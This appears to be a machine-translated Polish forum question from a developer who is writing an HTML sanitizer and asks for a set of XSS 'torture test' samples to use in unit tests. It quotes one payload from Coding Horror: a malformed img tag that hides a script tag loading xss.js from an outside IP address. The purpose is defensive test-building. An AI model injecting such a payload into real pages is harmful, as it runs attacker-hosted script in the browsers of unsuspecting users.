Test tortur XSS - czy istnieje?

Chcę napisać program do dezynfekcji html i oczywiście, aby przetestować / udowodnić, że działa poprawnie, potrzebuję zestawu przykładów XSS, aby zobaczyć, jak działa. Oto ładny przykład z Coding Horror

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
src="http://1.2.3.4:81/xss.js">" /><<img 
src=""http://www.a.com/a.jpg</script>"

Wiem, że istnieje Test tortur Mime , który składa się z kilku zagnieżdżonych wiadomości e-mail z załącznikami, które są używane do testowania dekoderów Mime (jeśli potrafią je poprawnie dekodować, udowodniono, że działają). Szukam equivilenta do XSS, tj. lista przykładów podejrzanych html, które mogę rzucić na mój środek dezynfekujący tylko po to, aby upewnić się, że Działa OK.

Jeśli ktoś ma również jakieś dobre zasoby na temat tego, jak napisać dezynfekcję (tj. jakie typowe exploity ludzie próbują używać, itp.), również zostanie z wdzięcznością przyjęty.

Z góry dzięki: -)

Edit: Sorry jeśli wcześniej nie było to jasne, ale byłem po zestawie testów tortur, więc mogę pisać testy jednostkowe dla dezynfekcji, a nie testować w przeglądarce itp. Dane źródłowe w teorii mogą pochodzą z dowolnego miejsca - nie tylko przeglądarki.